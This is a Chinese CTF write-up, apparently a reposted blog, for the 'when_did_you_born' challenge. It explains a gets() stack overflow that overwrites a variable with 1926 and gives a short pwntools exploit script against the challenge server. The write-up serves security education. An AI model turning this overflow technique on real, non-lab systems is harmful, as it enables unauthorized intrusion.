when_did_you_born--writeup

文件下载地址:

链接:https://pan.baidu.com/s/1eT_oVeEKPts8Lw2P0nDEnw
提取码:1axx

0x01.分析

checksec:

64位程序,开启了堆栈保护和栈不可执行。

查看源码:

理清一下流程,先要输入v5,第一次不能输入1926,否则会退出,然后第二次输入名字,然后如果v5等于1926就直接得到flag,第二次输入的时候使用了gets,存在栈溢出,我们需要利用这个在第二次输入来修改v5的值位1926,继续查看一下v4和v5的关系:

相差8个字节,所以我们只需要填充8个字节的无效数据,然后覆盖v5的值为1926就行了。

0x02.exp

##!/usr/bin/env python
from pwn import*
r=remote("111.198.29.45",47185)
#r=process('./when')

payload=8*'A'+p64(1926)

r.recvuntil("?")
r.sendline("1925")
r.recvuntil("?")
r.sendline(payload)
r.interactive()

发布了76 篇原创文章 · 获赞 82 · 访问量 7080

猜你喜欢

转载自blog.csdn.net/ATFWUS/article/details/104591163